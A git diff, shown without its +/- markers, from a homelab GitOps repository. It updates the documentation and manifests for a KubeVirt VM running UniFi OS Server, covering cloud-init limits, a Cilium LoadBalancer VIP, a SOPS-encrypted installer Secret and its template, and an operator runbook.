| `30-virtualmachine.yaml` | The VM: 2 vCPU / 4Gi, `running: true`, `evictionStrategy: LiveMigrate`, minimal **inline** cloud-init (SSH key, qemu-guest-agent, Podman prep) |
|
||||
| `30-virtualmachine.yaml` | The VM: 2 vCPU / 4Gi, `running: true`, `evictionStrategy: LiveMigrate`, a **pinned firmware UUID** (= the cloud-init instance-id), the **UOSDATA secret disk**, and a minimal **inline** cloud-init that installs `install-uos` + a per-boot systemd unit |
|
||||
| `40-networkpolicy.yaml` | Additive CNP allows: L4 ingress ports, controller world+DNS egress, and CDI-importer egress |
|
||||
| `50-service-l4.yaml` | Two `type=LoadBalancer` Services (TCP+UDP) sharing **one pinned Cilium VIP** `192.168.1.54`; external-dns A record |
|
||||
| `50-service-l4.yaml` | Two `type=LoadBalancer` Services (TCP+UDP) sharing **one pinned Cilium VIP** `${UNIFI_L4_VIP}` (prod **192.168.2.21**); external-dns A record |
|
||||
| `unifi-uos-installer.sops.yaml` | **SOPS-encrypted.** The operator's UOS installer URL + guest console password, mounted into the guest as a disk |
|
||||
| `unifi-uos-installer.sops.yaml.example` | Plaintext template + the operator hand-off steps (never applied, never encrypted) |
|
||||
| `kustomization.yaml` | The reconciled resource list (referenced by `apps/vms/kustomization.yaml`) |
|
||||
|
||||
The optional L7 HTTPRoute (`90-httproute-optional.yaml`) was **dropped**, not merely disabled: UOS
|
||||
serves HTTPS on `:11443`, so a Gateway route needs a `BackendTLSPolicy` that is not confirmed on
|
||||
this Cilium version. Browser access is via the L4 VIP. Re-add it if/when that lands.
|
||||
The optional L7 HTTPRoute was **dropped, and the file does not exist**: UOS serves HTTPS on
|
||||
`:11443`, so a Gateway route needs a `BackendTLSPolicy` that is not confirmed on this Cilium
|
||||
version. Browser access is via the L4 VIP. Re-add it if/when that lands.
|
||||
|
||||
### Cloud-init delivery — two constraints learned the hard way
|
||||
### Cloud-init delivery — three constraints, all measured on the deployed KubeVirt (v1.9.0)
|
||||
|
||||
1. **KubeVirt caps inline `userData` at 2048 bytes.** The original rich cloud-init (full Podman
|
||||
prep + `install-uos` helper) blew past it. A `userDataSecretRef` was tried, then reverted; the
|
||||
shipped config is a **minimal ~1.1 KB inline `userData`**. Keep additions small or move to a
|
||||
Secret deliberately.
|
||||
2. **`apps-vms` must NOT use `postBuild.substituteFrom`.** Flux variable substitution rewrote
|
||||
`$`-bearing text inside the cloud-init payload and **corrupted it**. `clusters/base/apps-vms.yaml`
|
||||
therefore carries no `substituteFrom` — unlike every app wave. Do not "restore" it for consistency.
|
||||
1. **Inline `userData` is capped at 2048 bytes.** MEASURED, not quoted: a server-side dry-run apply
|
||||
of an otherwise-identical VM accepted 2048 bytes and rejected 2049 with *"cloudInitNoCloud
|
||||
userdata exceeds 2048 byte limit. Should use UserDataSecretRef for larger data."* The shipped
|
||||
payload is ~1.45 KB. The API field for the escape hatch is spelled **`secretRef`** (the Go name
|
||||
is `UserDataSecretRef`); `userDataSecretRef` is not a YAML key and trying it will silently
|
||||
validate as an unknown field.
|
||||
2. **The firmware UUID is the cloud-init instance-id, and editing `userData` alone changes
|
||||
nothing.** The NoCloud seed's `instance-id` is exactly
|
||||
`spec.template.spec.domain.firmware.uuid`, which KubeVirt's webhook stamps onto the **VM object**
|
||||
(so it survives restarts), and cloud-init's NoCloud datasource compares it to the guest's DMI
|
||||
product UUID. Same id → cached datasource restored, new payload never read, `write_files` and
|
||||
`runcmd` skipped. This is why the previously shipped "unattended install" could never have taken
|
||||
effect on a second boot. The UUID is now **pinned in git**, with bumping it as the documented way
|
||||
to force a re-run. See the long comment in `30-virtualmachine.yaml`.
|
||||
3. **`apps-vms` DOES use `postBuild.substituteFrom`.** This file used to say it must not — that has
|
||||
been false since 2026-08-31, when `${UNIFI_L4_VIP}` landed in `50-service-l4.yaml`. Flux's
|
||||
envsubst therefore runs over the cloud-init payload, and the escape contract in
|
||||
`clusters/base/apps-vms.yaml` is in force. Bare `$name` and `$(cmd)` are left alone (verified
|
||||
against the live VMI's rendered userData); brace-form shell expansion must be escaped; an
|
||||
indexed expansion is a hard error that fails the whole Kustomization.
|
||||
|
||||
### Node prerequisites this VM forced onto the cluster
|
||||
|
||||
@@ -56,15 +101,31 @@ this Cilium version. Browser access is via the L4 VIP. Re-add it if/when that la
|
||||
- **`longhorn-scratch`** — a single-replica StorageClass for CDI scratch space; the default
|
||||
3-replica class made the import fail with insufficient storage.
|
||||
|
||||
## UOS install method (researched)
|
||||
## UOS install method (researched 2026-09-14)
|
||||
|
||||
- **Host:** Ubuntu 24.04 LTS x86-64, systemd, **Podman 4.9.3+**, `slirp4netns` 1.2+, `uidmap`. Min
|
||||
2 GB RAM / 10 GB disk (we give 4 GB / 60 GB). Podman must be at `/usr/bin/podman`.
|
||||
- **Install:** download the signed installer from `fw-download.ubnt.com` (URL obtained from
|
||||
`ui.com/download/software/unifi-os-server`), `chmod +x`, run **as root**. UI then on
|
||||
**`https://<host>:11443`**.
|
||||
- **Confidence:** *High* on requirements, ports, and the download→chmod→run shape (multiple
|
||||
independent 2025–2026 sources agree). *Lower* on **fully unattended** install — see risks.
|
||||
- **Host:** Ubuntu 24.04 LTS x86-64, systemd, **Podman 4.9.3+**, `slirp4netns` 1.2+, `uidmap`.
|
||||
Vendor/community minimum is 2 vCPU / 4 GB RAM / ~25 GB disk; we give **2 vCPU / 4 GiB / 40Gi**
|
||||
(the 40Gi figure is the DataVolume and the Bound PVC — an earlier "60 GB" claim here was wrong).
|
||||
Podman must be at `/usr/bin/podman`.
|
||||
- **Install:** obtain the download link from `ui.com/download/software/unifi-os-server` while signed
|
||||
in to a (free) Ubiquiti account, `chmod +x`, run **as root**. UI then on **`https://<host>:11443`**.
|
||||
- **Is the URL a short-lived signed link?** *Probably not.* The links look like
|
||||
`https://fw-download.ubnt.com/data/unifi-os-server/<hash>-linux-x64-<version>-<uuid>.<n>-x64` with
|
||||
**no signature query string**, and public community installers hard-code them. It is
|
||||
account-derived and per-release, not time-limited. It is kept in SOPS anyway — cheap, and it keeps
|
||||
account-derived material out of plaintext config — but do **not** build logic around expiry.
|
||||
- **Can it run unattended? Yes in practice, no officially — and this is the honest answer.**
|
||||
Ubiquiti documents no `--silent` flag, no answer file and no environment variables. What the
|
||||
ecosystem actually does is pipe confirmations in: the widely used community installer
|
||||
(`dgodibadze/UniFi_OS_Server`) runs `yes y | "$file" install`, and vendor-adjacent walkthroughs run
|
||||
either `./<binary> install` or a bare `sudo ./<binary>`. `install-uos` therefore does
|
||||
`yes y | $t install || yes y | $t` — the documented-by-practice form first, the bare form as a
|
||||
fallback for builds that take no subcommand. **This has not been executed end-to-end on our guest**
|
||||
(no URL has been supplied, and UOS is already installed here), so treat it as "established by
|
||||
convergent third-party practice", not as verified-by-us.
|
||||
- The previously shipped helper had two defects worth recording: it resolved the URL from
|
||||
`fw-update.ui.com/api/firmware-latest`, an endpoint nothing in this repo ever verified lists
|
||||
`unifi-os-server`, and it invoked the binary with **no `install` subcommand**.
|
||||
|
||||
### Ports (device adoption needs the L4 ones — the L7 Gateway cannot express them)
|
||||
|
||||
@@ -78,76 +139,143 @@ this Cilium version. Browser access is via the L4 VIP. Re-add it if/when that la
|
||||
| 3478 | UDP | **STUN** (device ⇄ controller) |
|
||||
| 10001 | UDP | **L2 device discovery** |
|
||||
|
||||
**22/TCP is deliberately absent**, and that is load-bearing: a masquerade interface forwards only
|
||||
the ports it declares, so SSH into this guest is impossible by construction. Use the serial console.
|
||||
|
||||
## L4 exposure design (the hard part)
|
||||
|
||||
The shared Gateway is L7 HTTPS only (`:443` host-routed). It **cannot** carry raw TCP `8080`/`6789`
|
||||
or any UDP (`3478`/`10001`) — exactly the ports adoption rides. So:
|
||||
|
||||
- **One VIP, two Services.** `unifi-l4-tcp` + `unifi-l4-udp` share a single LoadBalancer IP via
|
||||
Cilium `lbipam.cilium.io/sharing-key: unifi`, pinned to **`192.168.1.54`** (`lbipam.cilium.io/ips`).
|
||||
The VIP is pulled from the existing `default-pool` (192.168.1.53–.60) and **ARP-announced on the
|
||||
flat LAN by the existing `default-l2` CiliumL2AnnouncementPolicy** — no new Cilium config.
|
||||
Cilium `lbipam.cilium.io/sharing-key: unifi`, pinned through `${UNIFI_L4_VIP}`
|
||||
(`lbipam.cilium.io/ips`) — **192.168.2.21 on prod**. The VIP comes from the existing
|
||||
`default-pool`, whose live prod block is **192.168.2.20–192.168.2.30** with **192.168.2.20 held by
|
||||
the shared Gateway** (`cilium-gateway-shared`), and is ARP-announced on the flat LAN by the
|
||||
existing `default-l2` CiliumL2AnnouncementPolicy — no new Cilium config. (The `192.168.1.53–.60`
|
||||
/ `.53` figures this section used to quote were **dev** addressing and are gone; dev has been
|
||||
decommissioned. Neighbours in the prod pool today: `.22` crafty, `.23` pihole-dns.)
|
||||
- `selector: kubevirt.io/vm=unifi` → the virt-launcher pod; the VM's `masquerade` iface forwards the
|
||||
declared ports into the guest. `externalTrafficPolicy: Local` preserves LAN client source IP.
|
||||
- **Device-adoption story:** point devices' **inform host** at the VIP (`http://192.168.1.54:8080/inform`)
|
||||
— via the controller's *Override inform host* setting, `set-inform` on the device, or DHCP option 43.
|
||||
Because the VIP is L2-announced on the devices' own subnet (192.168.1.0/24), unicast inform + STUN
|
||||
reach it. **Limitation:** broadcast-based L2 auto-discovery (10001/udp) does **not** cross the pod
|
||||
masquerade boundary, so zero-touch "device just appears" adoption is unreliable — expect to use
|
||||
explicit inform. Devices on other VLANs must route to the VIP and be inform-pointed anyway.
|
||||
- **Reusable pattern (== the deferred `minecraft` :25565 problem):** L4-only workload → Cilium
|
||||
LoadBalancer on a pinned, L2-announced VIP with a per-app sharing key, A record via external-dns.
|
||||
`minecraft` is the single-TCP-port special case of this multi-port TCP+UDP design.
|
||||
declared ports into the guest.
|
||||
- **`externalTrafficPolicy: Cluster`, corrected 2026-09-14 after an 8-day LAN outage.** This file
|
||||
used to advertise `Local` "to preserve the LAN client source IP". Both halves were false here:
|
||||
Cilium's L2 announcer elects a lease holder without regard to which node holds a backend (the
|
||||
leases sat on `k3s-prod-2` while the VM ran on `k3s-prod-1`, so `Local` had nowhere to forward),
|
||||
and KubeVirt's `masquerade` binding had already NATed the client IP away before the guest ever saw
|
||||
it. The full reasoning — including why `40-networkpolicy.yaml` needs no `remote-node` entry and
|
||||
why no `loadBalancerSourceRanges` was added — is in `50-service-l4.yaml`.
|
||||
- **Device-adoption story:** point devices' **inform host** at the VIP
|
||||
(`http://192.168.2.21:8080/inform`) — via the controller's *Override inform host* setting,
|
||||
`set-inform` on the device, or DHCP option 43. Because the VIP is L2-announced on the devices' own
|
||||
subnet (**192.168.2.0/24**, `LAN_CIDR`), unicast inform + STUN reach it. **Limitation:**
|
||||
broadcast-based L2 auto-discovery (10001/udp) does **not** cross the pod masquerade boundary, so
|
||||
zero-touch "device just appears" adoption is unreliable — expect to use explicit inform. Devices
|
||||
on other VLANs must route to the VIP and be inform-pointed anyway.
|
||||
- **Reusable pattern:** L4-only workload → Cilium LoadBalancer on a pinned, L2-announced VIP with a
|
||||
per-app sharing key, A record via external-dns. `crafty` (`.22`) is the same shape and is live.
|
||||
|
||||
**UI access:** `https://unifi.home.keithjackson.dev:11443` (A record → VIP). The port-less
|
||||
`https://unifi.home.keithjackson.dev` via the Gateway is optional and needs a BackendTLSPolicy
|
||||
(UOS is HTTPS-only on 11443) — see `90-httproute-optional.yaml`.
|
||||
**UI access:** `https://unifi.home.keithjackson.dev:11443`. That name resolves to the VIP and not to
|
||||
the Gateway on purpose: both `platform/coredns/coredns-custom.yaml` (in-cluster) and
|
||||
`apps/wave-0/pihole.yaml` (LAN split-horizon) carve `unifi.${BASE_DOMAIN}` out of the
|
||||
zone-wide `${GATEWAY_VIP}` answer and point it at `${UNIFI_L4_VIP}`. `${BASE_DOMAIN}` on prod is the
|
||||
apex `home.keithjackson.dev` (confirmed live in the `cluster-vars` ConfigMap) after the 2026-09-13
|
||||
flip, so this hostname is current, not a dev leftover.
|
||||
|
||||
## The operator's one field — installing UOS without a shell
|
||||
|
||||
`unifi-uos-installer.sops.yaml` is a SOPS-encrypted Secret with two keys. KubeVirt mounts it into
|
||||
the guest as a read-only iso9660 disk labelled `UOSDATA` (one file per key), and an in-guest
|
||||
`uos-install.service` reads it **on every boot**:
|
||||
|
||||
```bash
|
||||
sops apps/vms/unifi/unifi-uos-installer.sops.yaml # fill installer-url and/or console-password
|
||||
git commit && git push # merge to the branch prod's Flux tracks
|
||||
kubectl -n unifi delete vmi unifi # `running: true` recreates it; no virtctl needed
|
||||
kubectl -n unifi logs -f $(kubectl -n unifi get pod -l kubevirt.io=virt-launcher -o name | head -1) \
|
||||
-c guest-console-log # watch the boot + the install, read-only
|
||||
```
|
||||
|
||||
Design notes that matter if you change this:
|
||||
|
||||
- **The Secret is a disk, not `cloudInitNoCloud.secretRef`.** `secretRef` would lift the 2048-byte
|
||||
cap but would move the whole cloud-config into ciphertext: unreviewable in diffs, invisible to the
|
||||
L0 dollar-collapse guard, and still subject to Flux's envsubst (which runs over **decrypted**
|
||||
resources) — the exact shape of the 2026-09-13 `nextcloud-db` incident. Script in plaintext,
|
||||
operator values in SOPS.
|
||||
- **A URL change needs no UUID bump.** The disk is rebuilt from the Secret on every VMI start and
|
||||
the systemd unit re-reads it every boot. Only a change to the cloud-init payload itself needs the
|
||||
firmware-UUID bump.
|
||||
- **`install-uos` will not reinstall over a working controller.** It exits as soon as systemd knows
|
||||
a `uosserver.service`, with `/var/lib/uos-installed` as a weaker second guard. Given the live
|
||||
guest already has UOS, this guard is the difference between "safe to merge" and "destroys the
|
||||
controller on next boot".
|
||||
- **`apps-vms` had no SOPS `decryption` stanza** — this is the first encrypted content under
|
||||
`apps/vms/`, so the stanza was added to both `clusters/dev/kustomization.yaml` and
|
||||
`clusters/prod/kustomization.yaml`. Without it kustomize hands Flux the raw SOPS document and the
|
||||
guest mounts a disk full of ciphertext, with the cluster reporting everything healthy.
|
||||
|
||||
## Open questions / risks
|
||||
|
||||
1. **Unattended install (HIGH) — STILL OPEN. This is the blocker.** The installer is a **signed,
|
||||
account-tied** URL that **rotates/expires** (cannot be committed) and is documented as
|
||||
**interactive** (no official silent flag). The shipped cloud-init had to be cut to ~1.1 KB for
|
||||
the inline `userData` limit, so the `install-uos` helper is **no longer baked into the guest**.
|
||||
**Decision needed:** operator runs the install by hand at bring-up (current de-facto answer), or
|
||||
invest in a verified silent path (Secret-delivered cloud-init + a fetched-at-boot URL).
|
||||
2. **CDI http import (MEDIUM) — RESOLVED in practice.** The import succeeded (first http/qcow2 CDI
|
||||
1. **The guest lost its IP (HIGH) — THE LIVE BLOCKER, and it needs the operator.** Diagnosis
|
||||
requires a shell, which requires `console-password` above plus one restart. First things to run
|
||||
on the console: `ip -4 a`, `networkctl status enp1s0`, `journalctl -u systemd-networkd`,
|
||||
`ls /etc/netplan`, and `systemctl status uosserver`. A plain restart may well restore DHCP on its
|
||||
own (the address survived the first ~34h of this boot's life), but that would hide the cause, so
|
||||
capture the state before rebooting a second time if you can.
|
||||
2. **Unattended install (MEDIUM) — mechanism shipped, end-to-end run NOT witnessed.** See the
|
||||
install-method section: no official silent flag exists, `yes y | <installer> install` is the
|
||||
convergent community practice, and it has not been executed on our guest. Treat the first real
|
||||
install as something to watch on the console log, not as a fire-and-forget.
|
||||
3. **CDI http import (LOW) — RESOLVED in practice.** The import succeeded (first http/qcow2 CDI
|
||||
import on this cluster). Still no checksum on an http source, and the URL tracks a *moving*
|
||||
Ubuntu 24.04 build — pin a dated build dir if reproducibility matters. Needed two cluster-level
|
||||
fixes (`nonroot-devices`, `longhorn-scratch`) — see above.
|
||||
3. **Boot firmware (LOW) — RESOLVED.** Boots as shipped; running Ubuntu 24.04.4 LTS.
|
||||
4. **VIP `192.168.1.54` (LOW) — RESOLVED.** Allocated and held by both Services, inside the
|
||||
`192.168.1.53–.60` pool (`.53` is the shared Gateway).
|
||||
5. **Longhorn RWX prerequisite (was BLOCKING) — RESOLVED.** `longhorn-vm` is live (RWX / Block /
|
||||
4. **Boot firmware (LOW) — RESOLVED.** Boots as shipped; running Ubuntu 24.04.4 LTS.
|
||||
5. **VIP `192.168.2.21` (LOW) — RESOLVED.** Allocated and held by both Services, inside the live
|
||||
prod pool `192.168.2.20–.30`, not colliding with the Gateway (`.20`), crafty (`.22`), pihole-dns
|
||||
(`.23`) or the node addresses (`.10/.11/.12`).
|
||||
6. **Longhorn RWX prerequisite (was BLOCKING) — RESOLVED.** `longhorn-vm` is live (RWX / Block /
|
||||
migratable); the VMI reports `LiveMigratable=True` and `StorageLiveMigratable=True`.
|
||||
6. **Licensing (LOW).** UOS self-host is free; a Ubiquiti account is needed only to fetch the
|
||||
7. **Licensing (LOW).** UOS self-host is free; a Ubiquiti account is needed only to fetch the
|
||||
installer and for optional remote access.
|
||||
7. **Broadcast adoption (LOW, by design).** L2 auto-discovery (`10001/udp`) does not cross the pod
|
||||
8. **Broadcast adoption (LOW, by design).** L2 auto-discovery (`10001/udp`) does not cross the pod
|
||||
masquerade boundary — see the L4 section. Expect explicit inform-host adoption.
|
||||
9. **No `virtctl` in the devcontainer (LOW).** Restart and read-only console both work with plain
|
||||
`kubectl` (above). An *interactive* console — the thing `console-password` unlocks — needs
|
||||
`virtctl` on the operator's path; it is a single static binary from the KubeVirt release matching
|
||||
the cluster's **v1.9.0**.
|
||||
|
||||
## Remaining bring-up
|
||||
|
||||
Steps 1–4 below are **done**. The sequence is kept because it is also the recovery/rebuild runbook.
|
||||
Steps 1–5 are **done**. The sequence is kept because it is also the recovery/rebuild runbook, so it
|
||||
is written for a from-scratch cluster; the prod addresses are the live ones.
|
||||
|
||||
1. ~~`longhorn-vm` StorageClass live; `192.168.1.54` free.~~ **Done.**
|
||||
1. ~~`longhorn-vm` StorageClass live; a free address in the LB pool.~~ **Done** (`192.168.2.21`).
|
||||
2. ~~Wire into a reconciled path~~ — **done**, via `apps/vms/` + the non-gating `apps-vms`
|
||||
Kustomization (not an app wave).
|
||||
Kustomization (not an app wave), including its SOPS `decryption` stanza in both overlays.
|
||||
3. ~~CDI import~~ — **done**: `kubectl -n unifi get dv unifi-rootdisk` → `Succeeded`.
|
||||
4. ~~VM + VIP~~ — **done**: `kubectl -n unifi get vmi unifi` → `Running`; both Services show
|
||||
`192.168.1.54`.
|
||||
5. **→ NEXT: install UOS in the guest.** SSH in (the inline cloud-init installs the operator's key
|
||||
and `qemu-guest-agent`) or `virtctl console unifi`, fetch the signed installer URL from
|
||||
ui.com/download/software/unifi-os-server, then `chmod +x` and run it **as root**.
|
||||
6. Verify the UI: `https://unifi.home.keithjackson.dev:11443` (or `https://192.168.1.54:11443`),
|
||||
`192.168.2.21`.
|
||||
5. ~~Install UOS in the guest~~ — **done** (it was already done when this file claimed otherwise;
|
||||
`uosserver.service` starts on every boot). On a REBUILD this is where the Secret does the work:
|
||||
fill `installer-url`, commit, and the guest installs itself on first boot.
|
||||
6. **→ NEXT, and it is the operator's:** fill `console-password`, restart the VM once, get on the
|
||||
console and find out why `enp1s0` has no address. Until that is fixed nothing below can pass.
|
||||
7. Verify the UI: `https://unifi.home.keithjackson.dev:11443` (or `https://192.168.2.21:11443`),
|
||||
complete the first-run wizard.
|
||||
7. Verify DNS: `dig unifi.home.keithjackson.dev` → `192.168.1.54` on the cluster LAN.
|
||||
8. Adopt a device: set its inform to `http://192.168.1.54:8080/inform`; confirm it appears + STUN
|
||||
8. Verify DNS: `dig unifi.home.keithjackson.dev` → `192.168.2.21` from a LAN client (pihole
|
||||
split-horizon) and from in-cluster (coredns-custom).
|
||||
9. Adopt a device: set its inform to `http://192.168.2.21:8080/inform`; confirm it appears + STUN
|
||||
connects (green). Test guest portal / throughput if used.
|
||||
9. Verify default-deny holds: only the declared L4 ports reachable; VM egress limited to world+DNS.
|
||||
10. (Optional) Re-add the L7 HTTPRoute once `BackendTLSPolicy` is confirmed on this Cilium version.
|
||||
10. Verify default-deny holds: only the declared L4 ports reachable; VM egress limited to world+DNS.
|
||||
11. (Optional) Re-add the L7 HTTPRoute once `BackendTLSPolicy` is confirmed on this Cilium version.
|
||||
|
||||
**Quick health check today:**
|
||||
```bash
|
||||
kubectl -n unifi get dv,vmi,svc
|
||||
kubectl -n unifi get vmi unifi -o jsonpath='{.status.guestOSInfo.prettyName}{"\n"}'
|
||||
# the two that would have caught the current failure:
|
||||
kubectl -n unifi get vmi unifi -o jsonpath='{.status.interfaces}{"\n"}' # expect an ipAddress
|
||||
kubectl -n unifi exec "$(kubectl -n unifi get pod -l kubevirt.io=virt-launcher -o name | head -1)" \
|
||||
-c compute -- ip neigh # expect 10.0.2.2 REACHABLE
|
||||
```
|
||||
@@ -11,3 +11,11 @@ resources:
|
||||
- 30-virtualmachine.yaml
|
||||
- 40-networkpolicy.yaml
|
||||
- 50-service-l4.yaml
|
||||
# SOPS-encrypted. Carries the operator's UOS installer URL (+ optional SSH key) and is mounted
|
||||
# into the guest as the UOSDATA disk by 30-virtualmachine.yaml. Decrypted by the `apps-vms` Flux
|
||||
# Kustomization, which clusters/dev and clusters/prod patch with the `decryption` stanza — the
|
||||
# FIRST encrypted content under apps/vms, so that patch was added with this file. The plaintext
|
||||
# template + the operator hand-off steps live in the `.example` sibling of the file below, which
|
||||
# is deliberately NOT named here: the L0 no-plaintext-secrets check fails any kustomization whose
|
||||
# text contains an example template's filename, on the assumption it is being applied.
|
||||
- unifi-uos-installer.sops.yaml
|
||||
@@ -0,0 +1,29 @@
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
metadata:
|
||||
name: unifi-uos-installer
|
||||
namespace: unifi
|
||||
type: Opaque
|
||||
stringData:
|
||||
installer-url: ENC[AES256_GCM,data:pZo/fRSnUmZj2w==,iv:tBWMAL0NwCURCmfzx3UAtryCovcR+Rmh4DdtUiCi4Ig=,tag:ZfLicc3pBWujPHKqfSNOag==,type:str]
|
||||
console-password: ENC[AES256_GCM,data:rQ6v6VjG4uoEShHic+zM,iv:nV7mTJFRsLvd67uZT+KyMrOhUVkERVv53LqsvcE5Qfs=,tag:9J/t2je48DRTVmppPqDfFQ==,type:str]
|
||||
sops:
|
||||
kms: []
|
||||
gcp_kms: []
|
||||
azure_kv: []
|
||||
hc_vault: []
|
||||
age:
|
||||
- recipient: age175l8mdpdfu7hq0aml3exs3gykarwjmuvr23sq56s3wjejnyk44wsp4mfzg
|
||||
enc: |
|
||||
-----BEGIN AGE ENCRYPTED FILE-----
|
||||
YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSB5M1RwWGhRKzNVenpzS25w
|
||||
WW4vNHFURy9hMjRGeW0wdUJSaHN4MDFhSHlBCm1udi9NOWJ3RGdvOVNnRG9ZUlp4
|
||||
TnVXRi90eFNSMjNVYVpUSmtFTURtU2MKLS0tIExPN2NRZW9CQXBKdUtCUkZSTXVO
|
||||
cE9IcTM2RG9oMmt2Y0xsRExzUjYwUlEK6vq56tnnYvruNcCgijRUsfi3IreXt7fk
|
||||
kgDevz3fOKkEJ3Y8+Mx3RBf3j6Za7L1lW7ft9TyTkBelRpj9bRD1Pg==
|
||||
-----END AGE ENCRYPTED FILE-----
|
||||
lastmodified: "2026-09-19T02:47:13Z"
|
||||
mac: ENC[AES256_GCM,data:DVJZQlHHb0U/F8oQ2iwPSTCvzHNynGZFW4MSHzW+LmNt8ozA7n2/U9prhRdrq3a1MHlaoGAkOFMGoQdZRR83CtZyP6oFoLiAMsRvNjNMgkaT1E3D7dzhjxAiTb+vQk9O467bH3ofm1+I/Ak3VFrNdjTtWFkWltW7MHB8njgPRPM=,iv:Sve3Z6RHKSWcdcEZtphBBmhRxjhfJHu9Dus2vb6K4+0=,tag:OrsGBPJVF1jtOAXCWNXG2Q==,type:str]
|
||||
pgp: []
|
||||
encrypted_regex: ^(data|stringData)$
|
||||
version: 3.9.4
|
||||
@@ -0,0 +1,71 @@
|
||||
# =============================================================================
|
||||
# TEMPLATE — NOT APPLIED, NOT ENCRYPTED (.yaml.example is ignored by kustomize and never
|
||||
# auto-encrypted by SOPS). Reference scaffold + OPERATOR HAND-OFF.
|
||||
#
|
||||
# WHAT THIS IS: the two values that (a) let the UniFi VM install UniFi OS Server by itself, with
|
||||
# nobody typing commands inside the guest, and (b) give the operator a way INTO that guest at all.
|
||||
# KubeVirt mounts this Secret into the VM as a tiny read-only iso9660 disk labelled `UOSDATA` (see
|
||||
# the `uosdata` volume in 30-virtualmachine.yaml); each key below becomes a file of the same name on
|
||||
# that disk, and the in-guest `uos-install.service` reads them on EVERY boot.
|
||||
#
|
||||
# READ THIS FIRST — UOS IS ALREADY INSTALLED ON THE LIVE PROD GUEST (verified 2026-09-14, see the
|
||||
# README "What is actually wrong"). `installer-url` is therefore NOT the fix for today's outage; it
|
||||
# is the rebuild path and the "the install never happened" path. `install-uos` refuses to run the
|
||||
# installer at all while systemd knows a `uosserver.service`, so filling this in cannot clobber a
|
||||
# working controller. `console-password` IS useful today: it is the only way to get a shell.
|
||||
#
|
||||
# WHY THE URL IS BEHIND SOPS: it is obtained through the operator's own (free) Ubiquiti account
|
||||
# session at ui.com/download/software/unifi-os-server, it identifies a specific build, and it is not
|
||||
# ours to redistribute. Treat it as account-derived material, not as public configuration.
|
||||
# HONEST CAVEAT, checked 2026-09-14: the resulting `https://fw-download.ubnt.com/data/
|
||||
# unifi-os-server/<hash>-linux-x64-<version>-<uuid>.<n>-x64` URL carries NO signature query string,
|
||||
# and public community install scripts hard-code these URLs — so it does not behave like a
|
||||
# short-lived signed link. It does change every release. Encrypting it costs nothing and keeps the
|
||||
# repo's "account-derived material is not config" line clean, but do NOT design around "it expires".
|
||||
#
|
||||
# HAND-OFF STEPS (operator) — this is the whole job:
|
||||
# (a) Sign in at https://ui.com/download/software/unifi-os-server, pick the Linux (x64) build, and
|
||||
# copy the download link (right-click -> Copy link address). Do NOT download it here; the guest
|
||||
# fetches it itself.
|
||||
# (b) Open the encrypted sibling in your editor:
|
||||
# sops apps/vms/unifi/unifi-uos-installer.sops.yaml
|
||||
# (c) Replace the two REPLACE-ME values. Either may be left as the placeholder — the guest skips a
|
||||
# placeholder rather than failing.
|
||||
# (d) Save/quit (sops re-encrypts in place), commit, push, merge to the branch prod tracks.
|
||||
# (e) Restart the VM once so the new cloud-init instance and the new disk are picked up:
|
||||
# kubectl -n unifi delete vmi unifi # `running: true` recreates it; no virtctl needed
|
||||
# Watch it come up WITHOUT virtctl:
|
||||
# kubectl -n unifi logs -f $(kubectl -n unifi get pod -l kubevirt.io=virt-launcher \
|
||||
# -o name | head -1) -c guest-console-log
|
||||
# (f) UI: https://192.168.2.21:11443 (prod) or https://unifi.home.keithjackson.dev:11443.
|
||||
#
|
||||
# IF YOU LATER NEED A NEW URL (new release, dead link): repeat (b)-(e). No firmware-UUID bump is
|
||||
# needed for that — the disk is rebuilt from this Secret on every VMI start and the systemd unit
|
||||
# re-reads it every boot. The UUID bump in 30-virtualmachine.yaml is only needed when the cloud-init
|
||||
# payload ITSELF changes.
|
||||
#
|
||||
# The file is already listed under `resources:` in apps/vms/unifi/kustomization.yaml, and `apps-vms`
|
||||
# is patched with the SOPS `decryption` stanza in clusters/dev + clusters/prod.
|
||||
# =============================================================================
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
metadata:
|
||||
name: unifi-uos-installer
|
||||
namespace: unifi
|
||||
type: Opaque
|
||||
stringData:
|
||||
# KEY NAMES ARE LOAD-BEARING: each key becomes a FILE of that exact name on the UOSDATA disk, and
|
||||
# /usr/local/sbin/install-uos reads them by path. Renaming a key breaks the install silently.
|
||||
#
|
||||
# The signed-in download link for UniFi OS Server, Linux x64. Anything that is not an https URL
|
||||
# (this placeholder included) is treated by the guest as "not provided yet": the unit logs
|
||||
# "UOS installer-url not set yet" and exits 0, so the VM stays healthy and simply does not install.
|
||||
installer-url: REPLACE-ME
|
||||
# Password set on the guest's `ubuntu` account on every boot, for `virtctl -n unifi console unifi`.
|
||||
# THIS IS THE ONLY DOOR INTO THE GUEST. The stock Ubuntu 24.04 cloud image ships `ubuntu` locked,
|
||||
# no key was ever installed, and an SSH key would not help: the VM's masquerade interface forwards
|
||||
# only the ports declared in 30-virtualmachine.yaml and 22 is not among them (probed from inside
|
||||
# virt-launcher, 2026-09-14 — the guest RSTs on 22 just as it does on 11443). Generate one with
|
||||
# openssl rand -base64 24
|
||||
# Leave it as REPLACE-ME to keep the account locked; the script skips the placeholder by name.
|
||||
console-password: REPLACE-ME
|
||||
@@ -268,6 +268,7 @@ metadata:
|
||||
annotations:
|
||||
homelab.keithjackson.dev/auth-mode: forward-auth
|
||||
homelab.keithjackson.dev/auth-groups: media-users,platform-admins
|
||||
external-dns.alpha.kubernetes.io/controller: none
|
||||
spec:
|
||||
parentRefs:
|
||||
- name: shared
|
||||
|
||||
@@ -14,8 +14,10 @@ resources:
|
||||
- nextcloud-db-backup-credentials-prod.sops.yaml
|
||||
- nextcloud-db-backup-credentials.sops.yaml
|
||||
- nextcloud-db.yaml
|
||||
- pihole-dns.yaml
|
||||
- pihole-oauth2-proxy-credentials.sops.yaml
|
||||
- pihole.yaml
|
||||
- plex-claim-secret.sops.yaml
|
||||
- plex.yaml
|
||||
- qbittorrent-bootstrap-secret.sops.yaml
|
||||
- qbittorrent-oauth2-proxy-credentials.sops.yaml
|
||||
|
||||
@@ -0,0 +1,196 @@
|
||||
---
|
||||
# =================================================================================================
|
||||
# PiHole DNS EXPOSURE — the LAN half of split-horizon (R-DNS-01 / R-DNS-03), and NETWORK POLICY.
|
||||
# =================================================================================================
|
||||
# HAND-WRITTEN, NOT RENDERED. This file is a non-catalog app-tier unit anchored to the `pihole`
|
||||
